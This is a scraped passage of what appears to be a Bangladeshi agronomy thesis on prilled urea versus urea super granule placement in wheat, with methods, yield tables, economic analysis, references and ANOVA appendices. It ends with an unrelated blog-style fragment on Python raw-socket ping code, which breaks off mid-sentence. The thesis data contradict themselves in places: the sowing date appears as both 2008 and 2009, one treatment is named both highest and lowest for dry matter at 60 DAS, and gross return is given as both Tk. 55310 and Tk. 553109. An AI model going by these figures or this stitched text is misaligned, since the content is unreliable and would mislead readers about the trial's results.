3.6 Granular urea The weight of urea super granules (USG) was 1.8 g/granule. 3.7 Experimental treatments There was different urea application treatments were as follows: T1 = Prilled urea broadcasted (conventional) T2 = Prilled urea placed in furrow T3 = Prilled urea placed between two rows of wheat T4 = Prilled urea + seed in furrow T5 = Line sown seed + line placed prilled urea T6 = Line sown seed + Prilled urea given on soil of seeded furrow T7 = Wheat seed + urea super granule (USG) in the same furrow at 8cm distance T8 = USG placed in between two wheat lines at 8 cm distance. 3.8 Experimental Design and Layout The experiment was laid out in a Randomized Complete Block Design (RCBD) with three replications. The experimental unit was divided into three blocks each of which represents a replication. Each block was divided into 8 plots in which treatments were applied at random. The distance maintained between two plots was 0.75 m and between blocks was 1.5 m. The plot size was 4 m x 2.5 m. It is mentioned here that the wheat was sown maintaining row spacing as 20 cm. The seeds were sown as continuous in each line following the seed rate. 3.9 Details of the field operations The cultural operations were carried out during the experimentation are presented below: 3.9.1 Land preparation The experimental field was first ploughed on November 01, 2008. The land was ploughed thoroughly with a power tiller and then laddering was done to obtain a desirable tilth. The clods of the land were hammered to make the soil into small pieces. Weeds, stubbles and crop residues were cleaned from the land. The final ploughing and land preparation was done on November 13, 2008. The layout was done as per experimental design on November 13, 2008.
3.9.2 Fertilizer application The entire amount of TSP, MP and Zypsum was given in the plots during final land preparation. 2/3 of urea was applied for wheat plots during land preparation as basal dose
except treatment 7 and 8 as those were given super granular urea (USG). Rest 1/3 urea was applied to wheat plots except treatment 7 & 8 at 21 days after sowing at crown root initiation stage with irrigation. 3.9.3 Seed collection and sowing The wheat seeds (cv. Shourav) were collected from Wheat Research Centre of Bangladesh Agricultural Research Institute (BARI) of Joydebpur, Gazipur. Seeds were treated with Vitavax 200 @ the rate of 3 g kg -1 of seeds and sown in line on November 14, 2008 and seeds were covered with loose friable soil. The recommended seed rate of wheat was 125 kg ha-1. 3.9.4 Germination test Germination test was performed before sowing the seeds in the field. Filter papers were placed on four petri dishes and the papers were soaked with water where 100 seeds were placed at random in each petri dish. Data on germination were determined as percentage basis by using the following formula: Number of germinated seeds
Germination test (%) =
x 100 Number of seeds set for germination
3.9.5 Weeding Weeds were controlled through three weeding at 20, 35, 50 days after sowing (DAS). The weeds identified were Kakpaya ghash (Dactyloctenium aegyptium L), Shama (Echinocloa crussgalli), Durba (Cynodon dactylon), Arail (Leersis hexandera), Mutha (Cyperus rotundus L), Bathua (Chenopodiunm album), Shaknatey (Amaranthus viridis), Foska begun (Physalis beteophylls), Titabegun (Solanum torvum) and Shetlomi (Gnaphalium luteolabum L). 3.9.6 Irrigation Germination of seeds was ensured by light irrigation. Two Irrigations were given at crown root initiation and heading stages (22 and 53 DAS). During irrigation care was taken so that water could not flow from one plot to another or overflow the boundary of the plots. Excess water of the field was drained out. 3.9.7 Harvesting and sampling
At full maturity, the wheat crops were harvested plot wise on 9 March 2009. Before harvesting 10 plants of wheat from each plot was selected randomly and uprooted. Those were marked with tags, brought to the threshing floor where seeds and stover were separated, cleaned and dried under sun for 4 consecutive days. Crop of each plot was harvested from 3 m2 separately. Then those were weighted to record the seed yield which was converted into t ha-1. 3.10 Recording of data The following data of crops were collected during the study period. 3.10.1 Wheat 1. Plant height from 15 DAS to harvest 2. Above ground dry matter plant -1 from 15 DAS to harvest 3. Tillers plant-1 from 30 DAS to harvest 4. Length of spike from 60 DAS to harvest 5. Spikelet spike-1 from 60 DAS to harvest 6. 1000 grain weight (g) 7. Grain yield (t ha-1) 8. Harvest index (%) 3.11 Procedure of recording data The data was taken at 15 days interval. The detail outline of data recording is given below: 3.11.1 Wheat 3.11.1.1 Plant height (cm) For height measurement 10 randomly plants were used from the ground level to tip of the plants and than averaged. 3.11.1.2 Above ground dry matter plant-1 (gplant-1) Ten plants were collected at different days after sowing (15, 30, 45, 60, 75, 90 DAS and at harvest) and then oven dried at 700 C for 72 hours. The dried samples were then weighed and averaged. 3.11.1.3 Tillers plant-1 (No.)
10 plants were uprooted randomly and then total numbers of tillers were divided by 10. 3.11.1.4 Length of spike (cm) Lengths of spike were measured from 10 plants and then averaged. 3.11.1.5 Spikelet spike -1 (No.) The numbers of spikelet spike-1 were measured from 20 spikes. 3.11.1.6 Weight of thousand grain (g) One thousand cleaned dried seeds were counted randomly from each harvested sample and weighed by using digital electric balance. 3.11.1.7 Grain yield (t ha-1) Wheat was harvested randomly from 3 m2 area of land of each plot. Then the harvested wheat was threshed, cleaned and then sun dried up to 12% moisture level. The dried seeds were then weighted and averaged. The grain yield was converted into t ha-1. 3.11.1.8 Harvest Index (%) Harvest index was determined by dividing the economic yield (grain yield) to the biological yield (grain + straw yield) from the same area and then multiplied by 100.
Grain yield (t ha-1)
Harvest Index (%) = Grain yield (t ha-1) + straw yield (t ha-1)
X 100
3.12 Economic analysis The cost and return analysis was done for each treatment on per hectare basis.
3.13 Benefit-cost ratio (BCR) In order to compare better performance, benefit – cost ratio (BCR) was calculated. BCR value was computed from the total cost of production and net return according to the following formula.
Benefit cost ratio (BCR) =
Gross return (Tk. ha -1) Total cost of production (Tk. ha -1)
3.14 Statistical analysis Plot wise yield and yield components were recorded. All the data were statistically analyzed following the MSTATC computer program and the mean comparisons were made by LSD at 5% level of significance. Chapter 4 RESULTS AND DISCUSSION This experiment was conducted to determine the response of wheat after different management of urea. Data on plant growth characters, yield contributing characters and yield were recorded to asses the trend of growth, development and yield of crops under different management of urea fertilizer. The analysis of variance (ANOVA) of data is given in Appendices. The results have been presented and discussed under the following headings: 4.1 Wheat 4.1.1 Growth attributes of wheat 4.1.1.1 Plant height (cm)
Plant height of wheat increased with the advancement of plant age, starting slowly from early ege than rapidly from 60 DAS. Plant height of wheat was affected by different managements of urea (Fig. 1). At 15 DAS, the maximum plant height (25.13 cm) was obtained from T 6 treatment which was statistically similar with T4 and T7 treatment and the minimum plant height was obtained from T3 treatment (21.62 cm) which was statistically similar with T 1, T2, T5 and T8 treatments. At 30 DAS, highest plant height (42.23 cm) was obtained from T 6 which was statistically similar with T3 treatment and the lowest (37.50 cm) was obtained from T 5 treatment which was statistically similar with T8 treatment. At 45 DAS, T8 treatment resulted in highest plant height (54.77 cm), which was statistically similar with T6 and T7 treatment. The lowest plant height (47.70 cm) was obtained from T 3 treatment and it was statistically similar with T1 and T2 treatments.
77.67 cm plant height was recorded from T 6 treatment which was highest and 68.72 cm the lowest plant height was recorded from T1 treatment at 60 DAS. At 75 and 90 DAS the highest plant height 79.13 cm and 80.88 cm were obtained from T 8 treatment whereas lowest plant height 72.47 cm and 74.07 cm were obtained from T1 treatment. At final harvest, the tallest plant (82.97 cm) was observed in T 8
treatment which was
statistically similar with T1 and T7 treatments. The shortest plant (76.48 cm) was observed in T3 treatment. Masum, 2008 showed that initially there was no significant effect of USG on plant hight but on later stage there was a significant effect of USG. It might be due to continuous availability of N from the deep placed USG that released N slowly and it enhanced growth to crop more than urea. Similar results were found by Sing and Sing (1986). They reported that USG produced taller plants than prilled urea.
T1
T2
T3
T4
T5
T6
T7
T8
Plant height (cm)
90 80 70 60 50 40 30 20 10 0 15
30
45
60 Days after sowing
75
90
Harvest
Figure 1: Plant height of wheat at different days under different managements of urea (LSD 0.05 = 2.89, 5.09, 9.08, 4.17, 8.75, 8.60 and 5.55 at 15, 30, 45, 60, 75, 90 DAS and at harvest, respectively)
4.1.1.2 Above ground dry weight plant-1 (g) At 15 DAS, the highest dry matter of wheat (0.07 g) was obtained from T 6 treatment which was statistically similar with T7 treatment and the lowest dry matter (0.055 g) was obtained from T 3 treatment (Table 1). At 30 DAS, the highest dry matter weight of wheat (0.54 g) was obtained from T 1 treatment. The lowest dry matter (0.37 g) was obtained from T8 treatment. At 45 DAS, the highest dry weight of wheat was obtained from T 6 treatment and the lowest dry weight was found from T5 treatment. At 60 DAS, the highest dry matter weight of wheat (4.29 g) was obtained from T 8 treatment. The lowest dry matter (3.13 g) was obtained from T8 treatment. At 75 DAS, the maximum dry weight of wheat was obtained from T5 treatment (4.92 g). The minimum dry matter was obtained from T8 treatment (3.43 g). At 90 DAS, the highest dry matter (6.76 g) was recorded from T 1 treatment. The lowest dry matter (4.54 g) was obtained from T6 treatment. At maturity, the highest dry matter of wheat was obtained from T1 treatment (8.79 g). The lowest dry matter (6.66 g) was obtained from T4 treatment and it was statistically similar with T2, T3, T6 treatments. Rambabu et al. (1983) and Rao et al. (1986) from their studied concluded that USG was the most effective in increasing total drymatter than split application of urea. Table 1: Above ground dry matter accumulation of wheat plant at different days under different managements of urea Treatment
15 DAS
30 DAS
45 DAS
60 DAS
75 DAS
90 DAS
At harvest
T1 T2 T3 T4 T5
0.07 0.06 0.06 0.06 0.07
0.55 0.40 0.43 0.42 0.39
1.73 1.73 1.42 1.63 1.14
3.30 4.00 3.24 3.47 3.81
4.61 4.49 4.35 4.92 4.92
6.76 5.98 5.26 5.79 5.91
8.80 6.75 6.72 6.66 7.02
T6 T7
0.08 0.07
0.53 0.45
1.92 1.85
3.13 3.75
3.53 4.64
4.55 6.21
6.77 7.26
T8 LSD0.05 CV%
0.07 0.06 12.56
0.37 0.25 13.58
1.52 0.79 11.13
4.29 1.55 14.34
3.44 1.58 14.68
5.55 1.54 13.27
7.50 1.31 10.78
4.1.1.3 Tillers plant-1 At 30 DAS, the highest number of tillers plant -1 of wheat was obtained from T1 treatment (2.53) which was statistically similar with T5 and T7 treatment. The lowest number of tillers plant-1 was obtained from T8 treatment which was statistically similar with T4 treatment (Table 2). At 45 DAS, the maximum number of tillers plant -1 of wheat (3.0) was obtained from T1 treatment and the minimum number of tillers plant-1 (1.33) was obtained from T4 (Prilled urea + seed in furrow) which was statistically similar with T8 (urea super granules placed in between two wheat lines at 8 cm distance). At 60 DAS, the highest number of tillers plant-1 of wheat (3.0) was obtained from T1 and T5 treatments. The lowest number of tillers plant -1 (1.33) was obtained from T4 treatment which was statistically similar with T2 and T8 treatments. At 75 DAS, the maximum tillers plant -1 of wheat (3.067) was reordered from T1 treatment and it was statistically similar with T 5 and T7 treatments. The minimum (1.66) number of tillers plant -1 was reordered from T4
treatment which was
statistically similar with T8 treatment. At 90 DAS, the highest (3.53) number of tillers plant -1 of wheat was recorded from T1 treatment and it was statistically similar with T 7 treatment. The lowest number of tillers plant -1 (2.20) was obtained from T8 treatment. At maturity, the highest (3.76) number of tillers plant -1 of wheat was shown in T1 treatment while the lowest number (1.93) from
T4 treatment. From the above it can be seen that prilled urea
increased the number of tillers than USG. Similar results were found by Peng et al (1996) and Schneir et al (1990). They reported that N supply controlled the tiller production of rice plant unless other factors such as spacing or light become limited. Table 2: Tillers of wheat plant at different days under different managements of urea
Treatment
Tillers ( no.plant-1 ) of wheat at different days
T1 T2 T3 T4 T5 T6 T7 T8 LSD0.05 CV%
30 DAS 2.53 1.90 1.70 1.53 2.33 1.67 2.00 1.50 0.89 10.13
45 DAS 3.00 2.00 2.00 1.33 2.33 2.00 2.33 1.60 1.16 15.05
60 DAS 3.00 2.00 2.33 1.33 3.00 2.43 2.67 1.82 0.77 14.06
75 DAS 3.07 2.47 2.53 1.67 2.80 2.40 2.80 1.93 1.11 14.80
90 DAS 3.53 2.57 2.97 2.70 2.90 2.46 3.27 2.20 1.09 13.97
At harvest 3.76 2.79 3.35 1.93 3.57 2.50 3.57 2.33 0.97 13.52
4.1.2 Yield attributes of wheat 4.1.2.1 Length of spike (cm) The length of spike of wheat varied significantly due to different management of urea (Table 3). The longest spike of wheat (13.73 cm) was recorded with T 5 treatment and the minimum (11.93 cm) from T7 treatment at 60 DAS. At 75 and 90 DAS and at harvest, the highest 13.09 cm, 14.47 cm and 14.98cm length of spike of wheat was obtained from T1 treatment. The lowest length of spike of wheat 12.28 cm, 12.83 cm and 12.98 cm was obtained from T7 treatment at 75 and 90 DAS and at harvest, respectively. Table 3: Spike length (cm) of wheat at different days as influenced by different managements of urea Treatment T1 T2 T3 T4 T5 T6 T7
Spike length (cm) of wheat at different days after sowing 60 75 90 13.67 13.09 14.47 12.49 12.31 13.77 12.11 12.89 14.29 11.96 12.70 14.05 13.73 13.77 13.87 12.13 12.31 13.51 11.93 12.28 12.83
At harvest 14.98 14.86 14.88 14.75 14.79 14.59 12.98
T8 LSD0.05 CV%
12.37 1.27 5.76
14.76 1.29 5.06
12.45 1.14 5.19
14.22 1.44 5.94
4.1.2.2 Number of spikelet spike-1 Number of spikelet spike-1 of wheat at different days as influenced by different management of urea (Table 4). At 60 DAS, the highest number of spikelet spike-1 of wheat (15.91) was obtained from T1 treatment. The lowest number of spikelet spike-1 of wheat (13.20) was obtained from T7 treatment which was statistically similar with T6 and T8 treatments. At 75 DAS, the highest number of spikelet spike-1 of wheat (16.267) was shown in T3 treatment which was statistically similar with T1 treatment. The lowest number of spikelet spike-1 of wheat (13.46) was shown in T7 treatment which was statistically similar with T2 and T8 treatments. At 90 DAS, the highest (16.30) number of spikelet spike -1 of wheat was obtained from T3 treatment and it was statistically similar with T1 and
T6 treatments. The lowest number of
spikelet spike-1 of wheat (15.32) was obtained from T8 treatment. At harvest, the highest number of spikelet spike-1 of wheat (16.69) was shown in T 5 treatment which was statistically similar with T1 and T6 treatment. The lowest number of spikelet spike -1 of wheat (14.83) was shown in T7 treatment. Table 4: Spike length (cm) of wheat at different days as influenced by different managements of urea Treatment T1 T2
Spike length (cm) of wheat at different days after sowing 60 75 90 15.91 16.12 16.21 13.54 14.26 15.73
At harvest 16.50 15.93
T3 T4 T5 T6 T7 T8 LSD0.05 CV%
14.82 15.07 13.03 13.56 13.20 13.74 2.82 10.16
16.30 16.37 16.69 16.46 14.88 15.91 2.51 9.05
16.27 15.27 14.91 15.59 13.46 14.22 2.14 8.01
16.30 15.72 15.05 16.06 14.77 15.32 1.79 7.20
4.1.2.3 Thousand grain weight (g) There was no significant variation in thousand grain weight due to different forms of Nitrogen (Table 5). Maximum thousand grain weight (39.27 g) of wheat was recorded in T 6 treatment. The
lowest grain weight (36.43 g) was found with T4 treatment (Table 6). In case of rice, 1000 grain weight is more or less stable genetic character (Yoshida, 1981) and nitrogen management strategy could not increase the grain weight in this case. Hasan et al. (2002) reported that the effect of application method of USG and PU was not significant in respect of 100- grain weight. Table 5: Thousand grain weight of wheat at different days as influenced by different managements of urea Treatment T1 T2 T3 T4 T5 T6 T7 T8 LSD0.05 CV%
1000 grain wt. (g) 37.12 39.09 37.47 36.43 37.10 39.27 38.60 37.61 4.092 6.22
4.1.2.4 Grain yield (t ha-1) Grain yield of wheat affected significantly by different placement of urea (Table 6). The highest grain yield (3.11 t ha-1) of wheat was obtained from T8 treatment which indicates the superiority of urea supergranules over prilled urea and the lowest grain yield (2.43 t ha -1) from T4 treatment. Placement of Nitrogen fertilizer in the form of urea supergranules gave 16% more yield than the split application of urea. Similar finding were obtained from BRRI (2000) and they found that USG gave 18% yield increase over the recommended prilled urea. Similar results were found by Mishra et al. (2000) and Raju et al. (1987) who observed that among all forms of N, urea supergranules recorded the highest grain yield and proved significantly superior to other sources. Haque, (2002) also showed that point placement of urea super granules greatly increased yield of potato tubers. As urea super granule is a slow release nitrogenous fertilizer which dissolves slowly in the soil providing a steady supply of available nitrogen throughout the growing period of crop. Probably
due to this reason the plant got enough nutrients for its grain development and that’s why urea super granules treated plots gave better yield than prilled urea.
4.1.2.5 Straw yield (t ha-1) The highest straw yield was observed in T1 treatment and the lowest straw yield was observed in T6 treatment (Table 6). From the table it can be seen that urea supergranules produced comparatively less straw yield. 4.1.2.6 Biological yield (t ha-1) It was observed from the table 6 that biological yield was significantly affected by the forms of nitrogen fertilizer. Maximum biological yield (7.44 t ha-1) was observed from the urea supergranules treated plot than prilled urea. 4.1.3 Harvest Index (%) Harvest Index of wheat was varied significantly due to different management of urea (Table 6). The highest (41.80 %) Harvest Index was obtained from T 8 treatment. The lowest (36.93 %) harvest Index was obtained from T1 treatment. Ali (2005) reported that N management strategy did not influence Harvest Index. Miah et al. (2004) also reported that forms of nitrogen fertilizer had exerted very little variation on Harvest Index. Table 6: Grain, straw, biological yield and harvest index of wheat as influenced by different managements of urea Treatment
Grain yield (t ha-1)
Straw yield (t ha-1)
Biological yield (t ha-1)
Harvest Index (%)
T1
2.67
4.56
7.23
36.93
T2 T3
2.63 2.54
4.43 3.78
7.06 6.32
37.25 40.18
T4 T5 T6 T7
2.43 2.68 2.78 2.89
3.75 4.10 4.07 4.17
6.18 6.78 6.85 7.06
39.32 39.53 40.58 40.93
T8
3.11
4.33
7.44
41.80
4.2 Economic performance 4.2.1 Total variable cost Total variable cost was affected by different management of urea (Table 6). The highest variable cost Tk. 44686 ha-1 was obtained from T7 and T8 treatments and the lowest Tk. 43006 ha-1 from T1 treatment. 4.2.2 Gross return Gross return was affected by different management of urea (Table 6). The highest gross return Tk.55310 ha-1 was obtained from T8 treatment. The lowest gross return Tk.43950 ha-1 was obtained from T4 treatment. Hussain et al. (2010) showed that though higher cost was involved in USG practice and 10% less USG than recommended dose in comparison with prilled urea, the highest gross margin (Tk.117588 ha-1) was obtained from the N recommended dose of N as USG among the treatments. 4.2.3 Net return The highest net return Tk. 10624 ha-1 over variable cost was obtained from T8 treatment (Table 6). The second highest value of Tk. 7004 ha -1 was obtained from T7 treatment. The lowest net returns Tk. 944 ha-1 was obtained from T4 treatment. 4.3 Benefit cost ratio Benefit cost ratio was affected by different management of urea (Table 6). When benefit-cost ratio of each treatment was examined it was found that the treatment T 8 gave the highest benefit cost ratio which was 1.24. The cost and return analysis indicated that the treatment of T 8 gave the best gross return, net return and benefit cost ratio Table 7: Economic analysis of wheat under different managements of urea Treatments
Total variable cost (Tk. ha-1)
Gross return (Tk. ha-1)
Net return (Tk. ha-1)
Benefit cost ratio (BCR)
T1
43006
49170
6164
1.14
T2
44126
48310
4184
1.09
T3
44462
45660
1198
1.02
T4
43006
43950
944
1.02
T5
43566
48400
4834
1.11
T6
43566
49840
6274
1.14
T7
44686
51690
7004
1.16
T8
44686
55310
10624
1.24
Price rate: Wheat seed Tk. 40 kg-1.Variable cost includes cost of fertilizer, irrigation, labour, seeds etc. Benefit cost ratio is based on the total variable cost only. Chapter 5 SUMMARY AND CONCLUSION An experiment was conducted at the Agronomy field, Sher-e-Bangla Agricultural University located in Dhaka-1207, during the period from November 11, 2008 to March 09, 2009 to study the performance of wheat different management of urea. Eight treatment combinations were T1 = Prilled Urea broadcasted( conventional), T2 = Prilled Urea placed in furrow,T3 =Prilled Urea placed between two rows of wheat, T4 = Prilled Urea + seed in furrow, T 5 = Line sown seed + line placed prilled urea, T6 = Line sown seed + prilled urea given on soil of seeded furrow, T 7 = Wheat seed + urea super granule (USG) in the same furrow at 8cm distance and T 8 = USG placed in between two wheat lines at 8 cm distance. The experiment was conducted in Randomized Complete Block Design with three replications. The experimental material was wheat (cv. shourav). The recommended seed rate of wheat was 125 kg ha -1. Seeds of this crop were sown on November 14,2009 and harvested at March 09,2009. The total number of plots was 24 and the size of the plot was 4m X 2.5m. The data on crop growth characters like plant height, aboveground dry matter and number of tillers plant-1 and yield contributing characters like spikelet spike-1, grain yield, 1000 grain weight, etc. were recorded. Management of nitrogen fertilizer significantly affected at all growth characters. At maturity, the highest plant height (82.97 cm) of wheat was obtained from T 8 (USG placed in between two wheat lines at 8 cm distance) and the lowest (77.15 cm) was obtained from T3 (Prilled Urea
placed between two rows of wheat). Maximum (14.48) Spike length of wheat at harvest was recorded from T1 (Prilled Urea broadcasted) and lower fromT7 (Wheat seed + urea super granule (USG) in the same furrow at 8cm distance). The highest number of spikelet spike -1 (16.69) was obtained from T5 treatment and the lowest (14.83) was obtained from T7 treatment. The highest grain yield, biological yield and 1000-grain weight were influenced by different management of urea. Maximum grain yield was obtained from T 8 (USG placed in between two wheat lines at 8 cm distance). It was showed that urea super granules gave 8% - 16% more yield over prilled urea broadcasting system. There urea super granules showed superiority over prilled urea. The highest gross return of Tk. 553109 ha-1 and net return Tk. 10624 ha-1 was obtained from T8 treatment. The highest benefit cost ratio of 1.24 was obtained from T 8 treatment. The second highest benefit cost ratio of 1.16 was obtained from T7 treatment. The lowest benefit cost ratio of 1.02 was obtained from both T3 and T4 treatments. The results revealed that T8 treatment gave highest grain yield, biological yield, harvest index, gross return, net return and benefit cost ratio among the treatments. Point placement technology of fertilizers is a new approach in increasing yield of crops with use of lesser amount of fertilizer. It saves fertilizer to a great extent through reduction of its uses because of increased agronomic efficiency and at the time the approach is environmentally friendly since, the effect on environmental pollution is greatly minimized. REFERENCES Ahmed, M. H., Islam, M, A., Kader, M. A. and Anwar, M. P. (2000). Evaluation of urea supergranules as a source of nitrogen in T. aman rice. Pakistan J. Biol. Sci. 2(5):735-737 Ali, M. A. (2005). Productivity and resource use efficiency of rice as affected by crop establishment and nitrogen management. PhD Dissertation. UPLV, Philippines. P. 182 Allison, F. E. (1955). The enigma of soil nitrogen balance sheets. Advanc. of Agron. 7:213-250.
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Miah, M. N. H.; Talukder, S.; Sarkar, M. A. R. and Ansari, T. H. (2004). Effect of number of seedlings hill-1 and urea supergranules on growth and yield of the rice cv. BINA dhan4. J. Bios. Sci. 4(2): 122-129. Mirzeo, W. A. and Reddy, S. N.(1989). Performance of modified urea materials at graded levels of nitrogen under experimental and farmer’s management conditions in low land rice (oryza sativa). Indian J. Agril. Sci. 59:154-160 Mishra, B. K.; Mishra, S.; Dash, A. K. and Jena, D. (2000). Effect of time for urea Supergranules (USG) placement on low land rice. Annals Agril. Res. 20(4): p. 443-447. Mishra, P. C.; Sarkar, A. K. and Mishra, B. (1994). Relative efficiency of different nitrogen sources in transplant rice of Chotanagpur region. J. Indian. Soc. Soil science. 42(2):333335. Muneshwar S, P. N.; Takkar, Vi Ben; Chaudhary, M. R.; Sidhu, P. S.; Pashricha, N. S. and M. S. Bajwa. (1992). Proceedings of International Symposium on Nutrient Management for Sustained Productivity. 2:7-8. Nayak, P. L., Mandal, S. S., Das, M. and Patra H. P. (1986). Effect granulated, coated and prilled urea onthe growth and yield of rainfed low land rice. Environ. Ecol. 4(4): 602-604. Peng, S., Garcia, F V,. Gines, H. C., Laza, R C., Samson, M. I., Sanico, A. L., Visperas, R. M. and
Cassman, K. G. (1996). Nitrogen use efficiency of irrigated tropical rice established by
broadcast
wet-seeding and transplanting. Fert. Res. 45:29-96
Rajaram, S.; Van Ginkel, M. & Fischer, R. A. 1993. CIMMYT's wheat breeding megaenvironments (ME). In: Z.S. Li & Z.Y. Xin, eds. Proc. 8th International Wheat Genetic Symp., 29-24 Jul. 1993. Beijing, China Agricultural Scientech. Rajagoplanlan, S. and Planisami (1985). Efficiency of prilled urea and urea supergranules in rapidly percolating soil. Intl. Rice Res. Newsl. 14(2): 28-29 Raju, R. A., Hossain, M. M. and Nageeswariq, R. M. (1987). Relative efficiency of modified urea materials for low land rice. Indian J. Agron. 32(4): 460-462.
Rama, S.; Reddy, G. and Reddy, S. N. (1983). Effect of levels and sources of nitrogen on rice. Indian J. Agron. 34(3): 364-366. Rambabu, P.; Pillai, K. G. and Reddy, S. N. (1983). Effect of modified urea materials and their methods of application on drymatter production, grain yield and nitrogen uptake in rice. Oryza 20: 86-90. Rymar, V. T.; Udzhurkhu, A.; Ch. Parkhomenko, V. D.; Pivovarov, A. A.; Steba, V. K. and Smirnova, E. S. (1989). Effect of different forms of nitrogen fertilizers on rice yield. 21 (1): 97-101. Rao, C. M.; Ramaish, N. V.; Reddy, S. N. and Reddy, G. V. (1986). Effect of urea and urea super granules on drymatter accumulation yield and nutrient uptake in rice ( Oryza sativa ). J. Res. 14: 1-3. Roy, B. C., Mazid, M. A. and Siddique, S. B.(1991). Efficiency of different forms and application methods of N fertilizer on rainfed low land rice. Bangladesh Rice J. 2(1&2):75-78 Sadik, N. (1992). The state of world population. New York, NY, USA, United Nations Population Fund. Sarker, A. and Faroda, A. S. (1993). Modified from if urea pearl millet-wheat sequence under subtropical conditions. Tropical Agric, 70(3): 1 79-281. Sardar, N. A., Shamsuddin, A. M. and Khan, N. H. (1988). Yield and yield components of wetland rice
under various sources and levels of nitrogen. Philippines J. Crop Sci.13(3):155-
158 Savant, N. K.; Dhane, S. S. and Talashilkar, S. (1991). Fertilizer News. International Fertilizer Development Center, Muscle Sholas. 36(3): 19-25. Savant, N. K.and Stangel, P. J. (1990). Deep placement of urea supergranules in transplanted rice: principles and practices. Fert. Res. 25: 1-83. Savant, N. K., and Stangel, P. J. (1998). Urea briquettes containing diammonium phosphate: A potential NP fertilizer for transplanted rice. Fertil. Res. 51, 85–94.
Schnier, H. F., Dingkhun, M., De Datta, S. K., Mengel, K., and Faronile, J. E.(1990). Nitrogen fertilization of direct-seeded flooded vs. transplanted rice: I. nitrogen uptake, photosynthesis, growth and yield. Crop sci. 30:1276-1284 Sen, A. and Pandey, B. K. (1990). Effect on rice of placement depth of urea supergranules. Intl. Rice Res. Newsl. 15(4): 18,51 Singh, B. K. and Singh, R. P. (1986). Effect of modified urea materials on rainfed low land transplanted rice and their residual effect on successding wheat crop. Indian J. Agron. 31:198-200 Singh, G. O. P., Yadav, R. A., Singh, R. S. and Singh, B. B. (1993). Effect of sources and levels of nitrogen on grain yield, yield attributes, N uptake, recovery and response by rice in deep water conditions(100 cm). Crop Res. Hisar. 6(2):234-237 Singh, S. P. and Sing, M. P. (1997). Response of dwarf rice cv. Jaya to different rates, methods and forms of urea materials. Environment and Ecology. 15(3): 612-613 Vijaya, D. and Subbaiah, S. V.(1997). Effect of methods of application of granular forms of fertilizers on growth, nutrient uptake and yield of paddy. Ann. Agril. Res. 18(3): 361-364 Yosida, S. (1981). Physiological analysis of rice yield. In: Fundamentals of Rice Crop Science. IRRI, Los banos, Philippines. Pp. 91-98, 269, Zaman, S. K., Razzaque, M. A., Karim, S. M. R. and Ahmed, A. U. (1993). Evaluation of prilled urea and urea super granules as nitrogen sources for upland aus rice. Bangladesh Rice J. 4(1&2): 42-46
APPENDICES Appendix I. Map showing the experimental site under study Position of experimental site
Appendix II: ANOVA for plant height of wheat Sources of
Degrees
Error Mean Square
variation
of Freedom
15 DAS
30 DAS
45 DAS
60 DAS
75 DAS
Replication
2
2.72
1.19
0.14
0.61
3.64
Treatment
7
1.73ns
1.19ns
0.89ns
1.23ns
1.95ns
0.55ns
2.06ns
Error
14
2.73
8.43
26.88
24.97
5.68
24.09
10.03
Total
23
ns
= Non significant
*
= Significant at 5% level
**
90 DAS 0.68
At harvest 1.96
= Significant at 1% level
Appendix III: ANOVA for dry matter plant-1 of wheat Sources of variation
Degrees Error Mean Square of Freedom 15 DAS 30 DAS
Replication 2
0.59
3.72
1.04
10.14
2.86
0.53
At harvest 0.29
Treatment
7
0.65ns
0.63ns
0.91ns
0.63ns
1.23ns
1.69ns
2.57ns
Error
14
0.001
0.021
0.21
0.78
0.81
0.77
0.60
Total
23
90 DAS
At harvest
ns
= Non significant
*
= Significant at 5% level
**
45 DAS
60 DAS
75 DAS
90 DAS
= Significant at 1% level
Appendix IV: ANOVA for tillers plant-1 of wheat Sources of variation
Degrees of Freedom
Error Mean Square 30 DAS
45 DAS
60 DAS
75 DAS
Replication 2
4.88
0.42
3.04
1.12
0.53
3.06
Treatment
7
1.59ns
1.73ns
5.22**
1.61ns
1.47ns
4.53**
Error
14
0.26
0.44
0.19
0.40
0.39
0.30
Total
23
ns
= Non significant
* = Significant at 5% level ** = Significant at 1% level Appendix V: ANOVA for spike length of wheat Sources of variation
Degrees of Freedom Replication 2
Error Mean Square 60 DAS 2.14
75 DAS 9.32
90 DAS 5.81
At harvest 0.72
Treatment
7
2.99*
0.79ns
1.20ns
2.36ns
Error
14
0.52
0.42
0.68
0.54
Total
23
ns
= Non significant
* = Significant at 5% level ** = Significant at 1% level Appendix VI: ANOVA for spikelet spike-1 of wheat Sources of variation
Degrees of Freedom
Error Mean Square
Replication 2
60 DAS 3.17
75 DAS 4.35
90 DAS 4.63
At harvest 0.53
Treatment
7
1.79*
2.91*
3.32*
0.51
Error
14
2.59
1.49
1.05
2.05
Total
ns
23
= Non significant
* = Significant at 5% level ** = Significant at 1% level Appendix VII: ANOVA for grain yield and 1000 seed weight of wheat Sources of variation
Degrees of Freedom
Error Mean Square
Replication
2
Grain yield 1.46
Treatment
7
1.7188*
2.52**
Error
14
0.24
5.46
Total
23
ns
= Non significant
* = Significant at 5% level ** = Significant at 1% level Appendix VIII: Price list of Seed, Fertilizers Particulars Name Seed Irrigation Labour Urea TSP MP Zypsum USG
Rate 40 Tk.Kg-1 5000 Tk.ha-1 112 Tk.day-1 14 Tk.Kg-1 40 Tk.Kg-1 35 Tk.Kg-1 10 Tk.Kg-1 18 Tk.Kg-1
1000 seed weight 1.12 | https://issuu.com/md.papon/docs/agricultural_analysis_of_rice_and_w | CC-MAIN-2017-26 | refinedweb | 10,621 | 66.23 |
My original task was to create a Python script to send ICMP echo-request (aka. ping) messages to some hosts and then do some basic reporting. This is a simple task right? Well, not really, at least, if you care about security. To be able to ping a host, we need to open a socket, which cannot be done by a regular user, either on a Windows nor on a Linux machine. Now I will concentrate on Linux systems.
The internet is full of with fantastic ideas, but sometimes it is maybe a better idea to think a little before you copy something from stackoverflow. In a bunch of topics, they advice you to run your script as root, because what can go wrong, right? Or disable SELinux, what could go wrong? Well, say no to these! (This can apply to other topics too.. don’t always accept the first solution, think, think, think.)
So my idea is to create a simple script in Python. I wanted to use a full Python and async implementation, so I choose the aioping () library. They state that the library can only be used, if you run it as root. This is not really acceptable, so let’s see, what can be done to solve this issue..
Let’s see, what’s going on under the hood. In the core of the library, it tries to open a raw socket:
import socket socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) socket.bind(('', 0))
If you try to run just this, as a non-root user, you will get the following error message:
